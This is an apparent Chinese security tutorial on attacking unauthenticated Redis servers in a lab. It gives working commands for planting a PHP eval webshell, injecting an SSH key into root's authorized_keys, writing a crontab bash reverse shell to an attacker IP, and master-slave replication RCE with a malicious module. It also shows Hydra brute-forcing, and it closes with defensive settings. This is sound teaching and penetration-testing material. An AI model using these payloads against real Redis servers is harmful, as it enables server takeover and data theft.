0x01 Redis

简介

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

Redis服务的默认端口是6379。

官网查看更多信息:https://redis.io/

常用命令

常见命令如下:

  • 查看信息:info
  • 删除所有数据库内容:flushall
  • 刷新数据库:flushdb
  • 查看所有键:keys *,使用select num可以查看键值数据
  • 设置变量:set aaa “mi1k7ea”
  • 查看变量值:get aaa
  • 查看备份文件路径:config get dir
  • 设置备份文件路径:config set dir dirpath
  • 查看备份文件名:config get dbfilename
  • 设置备份文件名:config set dbfilename filename
  • 保存备份文件:save

漏洞环境搭建

这里搭建漏洞版本的Redis服务,同时配置服务进行全网监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 下载并解压运行make
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make

# 进入src目录中将redis-server和redis-cli复制到/usr/bin目录下,方便命令识别
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

# 将redis.conf复制到/etc/目录下
cd ..
cp redis.conf /etc/

# 编辑/etc/中的redis配置文件redis.conf
vim /etc/redis.conf
# 注释掉本地绑定,允许除本地外的主机远程访问Redis服务
# #bind 127.0.0.1
# 关闭保护模式,允许远程连接Redis服务
# protected-mode no

# 使用/etc/目录下的redis.conf文件中的配置来启动Redis服务
redis-server /etc/redis.conf

接着在Windows下就能无需密码认证直接远程连接Redis了:

1
redis-cli -h 192.168.10.137 -p 6379

安全配置密码验证

我们可以通过Redis的配置文件设置密码参数,这样客户端连接到Redis服务就需要密码验证,这样可以让你的Redis服务更安全,进而杜绝了未授权访问漏洞。

我们可以通过以下命令查看是否设置了密码验证:

1
2
3
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""

默认情况下requirepass参数是空的,这就意味着你无需通过密码验证就可以连接到Redis服务。

你可以通过以下命令来修改该参数:

1
2
3
4
5
127.0.0.1:6379> CONFIG set requirepass "runoob"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "runoob"

设置密码后,客户端连接Redis服务就需要密码验证,否则无法执行命令。

密码验证用到AUTH命令,如下:

1
2
3
4
5
6
127.0.0.1:6379> AUTH "password"
OK
127.0.0.1:6379> SET mykey "Test value"
OK
127.0.0.1:6379> GET mykey
"Test value"

0x02 Redis漏洞攻击利用

Redis漏洞包括未授权访问漏洞所引起的一系列深入攻击利用以及其他一些已知的Redis CVE漏洞。

在旧版本中Redis默认配置的服务是监听在公网的,而在最近这些新版本中都默认将监听地址改为本地监听,即前面redis.conf中看到的bind 127.0.0.1

未授权访问漏洞

由于配置不当的原因,导致Redis服务暴露在公网(即绑定在0.0.0.0:6379),并且没有开启相关认证和添加相关安全策略的情况下,即存在未授权访问漏洞。

攻击者在未授权访问Redis的情况下,可以获取数据库的所有数据、删除数据库数据等,进一步地可以利用Redis相关方法来实现写入WebShell、写入Crontab定时任务、写入SSH公钥以及利用主从复制RCE等一系列的攻击利用,将Redis未授权访问漏洞的危害无限放大。

敏感信息泄露与数据库内容删除

使用Redis的语句可以获取数据库中的存储的敏感信息,这里为了方便直接通过keys *来获取所有的键,然后通过get命令获取键值(如果在实际的业务中,一般不会查询所有键,因为对性能影响太大了,而是通过查询指定的某些数据库内容):

使用info命令可以看到Redis的版本、OS内核版本、配置文件路径等信息:

使用flushall等相关命令可以将Redis数据库所有内容删除掉,注意要慎用:

向Web目录写入WebShell

前提是Redis所在机子开启了Web服务,且已知Web服务目录路径。

原理就是在Redis中插入一条数据,将WebShell代码作为value,key值随意,然后通过修改数据库的默认路径为Web服务目录和默认的缓存文件为WebShell文件,最后通过save命令以备份的方式把缓存的数据保存在文件里,这样就可以在服务器端的Web目录下生成一个WebShell文件。

具体步骤就是先写入一个含WebShell代码的键值,然后设置备份目录为Web目录,接着设置备份文件名为WebShell文件名,最后通过save命令保存文件到本地。如下:

1
2
3
4
set payload "<?php @eval($_POST[c]);?>"
config set dir /var/www/html/
config set dbfilename shell.php
save

在服务端看到生成的shell.php内容如下,可以看到PHP代码穿插其中:

1
2
3
REDIS0007�	redis-ver3.2.11�
redis-bits�@�ctime� c^used-mem�h�
��payload<?php @eval($_POST[c]);?>�hUuϞ^

由于PHP的容错性,该PHP代码是能正常执行的,能正常getshell:

写入SSH公钥直接登录

前提是Redis服务是以root权限运行的。

原理和前面一样的,只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。

先在Ubuntu中生成公私钥:

1
ssh-keygen -t rsa

获取公钥内容cat /home/ski12/.ssh/id_rsa.pub

1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCezjyBJJ+qsrow5bFZT4/ezNQPmNQPkrQ7VfYIrU5q2NmGwQ/AAU3uL6FRCF3NsU8g3eudncLMw1qQTsTGKW4xI6DDjcszUjCX/vl+KoAlfIlH3+EOV/n8JbGnBMud/FeMTSGvEfw6yPTLIHH9nBwWHVitBoP2kM86eAyeKAGNjtHlPnPF+RMX0oNaijAgJqC3z/Ar2RMf6luwdrVYTBHFZ9ZF51lOJ1xlfHJDVV0VbDhSgZil6eIrEcG8I/tshaWkTAyfxq/2VjMXXU4/JTlxrMqbR5xvL/sC88Yexy07KYdEkFfvmn2XCeT0sM00OB+SlYBqrf1h3XIS1j//uFP5 ski12@ubuntu

通过Redis客户端将公钥内容写入到/root/.ssh/authorized_keys文件中,注意保存key的时候加上两个\n是为了避免和Redis里其他缓存数据混合:

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCezjyBJJ+qsrow5bFZT4/ezNQPmNQPkrQ7VfYIrU5q2NmGwQ/AAU3uL6FRCF3NsU8g3eudncLMw1qQTsTGKW4xI6DDjcszUjCX/vl+KoAlfIlH3+EOV/n8JbGnBMud/FeMTSGvEfw6yPTLIHH9nBwWHVitBoP2kM86eAyeKAGNjtHlPnPF+RMX0oNaijAgJqC3z/Ar2RMf6luwdrVYTBHFZ9ZF51lOJ1xlfHJDVV0VbDhSgZil6eIrEcG8I/tshaWkTAyfxq/2VjMXXU4/JTlxrMqbR5xvL/sC88Yexy07KYdEkFfvmn2XCeT0sM00OB+SlYBqrf1h3XIS1j//uFP5 ski12@ubuntu\n\n"
save

为了不用自己复制粘贴公钥内容,换种形式也OK:

1
2
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > m7.txt
cat m7.txt | redis-cli -h 192.168.10.137 -p 6379 set payload

此时看到Kali中的/root/.ssh/目录中成功生成了authorized_keys文件的:

注意,如果Kali中的SSH服务还没开启的话,通过如下命令开启即可:

1
systemctl start ssh

接着在Ubuntu上使用私钥直接SSH远程连接到Kali,得到shell:

1
ssh -i id_rsa root@192.168.10.137

写入定时任务反弹shell

该方法只能CentOS上使用,Ubuntu、Debian上行不通。原因如下:

  • 权限问题,Ubuntu定时任务需要root权限;
  • Redis备份文件存在乱码,而Debian和Ubuntu对定时任务的格式校验很严格,因此在Debian和Ubuntu上会报错,而在CentOS上不会报错;

原理和前面是一样的,只是备份的目录和文件名修改了下:

1
2
3
4
config set dir /var/spool/cron/crontabs/
config set dbfilename root
set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.10.307/666 0>&1\n\n"
save

注意,不同类型、版本的OS的crontabs所在路径会有所区别。

可以看到在Kali中成功生成root文件,其中含有定时任务的内容,也包括了乱码:

此时并未在监听端接收到反弹shell。这是由于Kali是Debian系统,对定时任务的格式要求很严,而root文件内容含有乱码,会导致执行不成功。除此之外,还有root文件执行的权限问题,我们通过tail /var/log/syslog命令来查看如下错误信息,因为权限不够、所以cron拒绝执行该定时任务:

1
cron[441]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)

具体CentOS的利用可自行测试。

不同OS的系统任务调度文件:

1
2
3
4
5
6
7
8
9
10
Ubuntu
/var/spool/cron/crontabs/xxx

Debian
/etc/cron.d/xxx

/var/spool/cron/crontabs/xxx

Alpine
/etc/cron.d/xxx

可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

其他的利用

任何可利用Redis未授权访问漏洞来写文件的地方都能被进行恶意利用,除了前面几项利用方式外,还有以下收集的几个在Linux或Windows下的利用方式。

写入/etc/passwd文件实现任意账号密码重置:https://www.freebuf.com/vuls/148758.html#-etcpasswd

写入Windows启动项:https://www.anquanke.com/post/id/170360#h3-3

写入Windows MOF:https://www.anquanke.com/post/id/170360#h3-4

利用主从复制RCE

Redis主从复制

如果把数据存储在单个Redis中,而读写体量比较大的时候,服务端的性能就会大受影响。为了应对这种情况,Redis就提供了主从模式。

Redis主从模式是指使用一个Redis作为主机,其他Redis则作为从机即备份机。其中主机和从机数据相同,主机只负责写,从机只负责读,通过读写分离可以大幅度减轻流量的压力,即是一种通过牺牲空间来换取效率的缓解方式。

攻击利用

主从复制实现RCE还是属于未授权访问的一种利用方式,这里因为其较新型便单独提出一小节。

4.x、5.x 版本的Redis提供了主从模式。在Redis 4.x 之后,通过外部扩展,可以在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。

Redis主从数据库之间的同步分为两种:

  • 全量复制是将数据库备份文件整个传输过去从机,然后从机清空内存数据库,将备份文件加载到数据库中;
  • 部分复制只是将写命令发送给从机;

因此,想要复制备份文件的话就需要设置Redis主机的传输方式为全量传输。

这里我们只需要模拟协议收发包就能伪装成Redis主机了,利用工具如下:

1
2
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git

第一个工具是用于生成恶意的执行shell的so文件;第二个工具是伪造Redis主机的脚本。

首先要生成恶意so文件,下载第一个工具然后make即可生成。

然后在攻击者机器上执行如下命令即可成功RCE:

1
python redis-rce.py -r 192.168.10.137 -p 6379 -L 192.168.10.141 -f module.so

用Hydra暴力破解Redis密码

使用Hydra工具可以对Redis密码进行暴力破解:

1
hydra -P /home/fragrant/sec_tools/w3af/w3af/core/controllers/bruteforce/passwords.txt redis://192.168.10.137

历史CVE漏洞

Redis远程代码执行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,从而RCE。

CVE-2015-8080

Redis版本 2.8.x < 2.8.24 和 3.0.x < 3.0.6 中,lua_struct.c中的getnum函数存在整数溢出漏洞,导致攻击者可以运行Lua代码或可能绕过沙盒限制。

CVE-2015-4335

Redis 2.8.1 之前版本和 3.0.2 之前版本中存在安全漏洞,攻击者可以远程执行eval命令,利用该漏洞执行任意Lua字节码。

CVE-2013-7458

读取”.rediscli_history”配置文件信息。

不存在NoSQL注入问题?

目前来说是的。

Redis客户端在与Redis服务端进行通信时,会使用RESP(REdis Serialization Protocol)协议。Redis客户端对所有的命令进行格式化处理,将不同参数组成的命令转换为符合RESP协议格式的数据,发送给Redis服务端的所有参数都是二进制安全的。

以下是RESP协议的通用形式:

1
2
3
4
5
6
*<number of arguments> CR LF
$<number of bytes of argument 1> CR LF
<argument data> CR LF
...
$<number of bytes of argument N> CR LF
<argument data> CR LF

例子如下,原本命令为SET mykey myvalue

1
2
3
4
5
6
7
*3
$3
SET
$5
mykey
$7
myvalue

Redis客户端格式化后的命令:

1
"*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n"

Redis协议里面没有字符串转义相关的内容,Redis协议使用的是前缀长度的字符串,完全二进制,保证安全性,所以是不存在NoSQL注入的。

Lua脚本执行EVAL和EVALSHA命令时遵循相同的规则,因此这些命令也是安全的。

Redis协议规范可参考:http://www.redis.cn/topics/protocol.html

Redis通信过程分析可参考:https://draveness.me/redis-cli

0x03 漏洞组合拳

一些比较鸡肋的Web漏洞,在和本地Redis未授权访问漏洞组合进行深入利用后,往往会将危害达到最大化。

SSRF打本地Redis服务

前提是Web服务器监听本地的Redis存在未授权访问漏洞,并且Web站点支持Gopher协议。这里就能把范围缩小了,PHP是支持Gopher协议的,而Java不支持。

具体可参考:利用 Gopher 协议拓展攻击面

Python urllib CRLF注入打本地Redis服务

如果目标站点使用了Python漏洞版本的urllib库,并且请求的url外部可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问漏洞的Redis,那么服务器就存在被getshell的风险。

原理和组合SSRF漏洞完全一样,通过CRLF注入来利用Redis向Crontab写入反弹shell的定时任务。

具体可参考:Hack Redis via Python urllib HTTP Header Injection

0x04 防御方法

  • 禁止公网开放Redis服务,可以在防火墙上禁用6379端口;
  • 修改Redis服务端口为其他非常见的端口号;
  • 配置Redis的密码访问验证;
  • 禁用不使用的高危命令;
  • 重命名高危命令的名称;
  • 以低权限运行Redis服务,禁止用root等最高权限运行;
  • 确保authorized_keys文件的安全,尽量阻止其他用户添加新的公钥;

0x05 参考

记一次Redis+Getshell经验分享

Redis 基于主从复制的RCE利用方式

redis未授权访问漏洞利用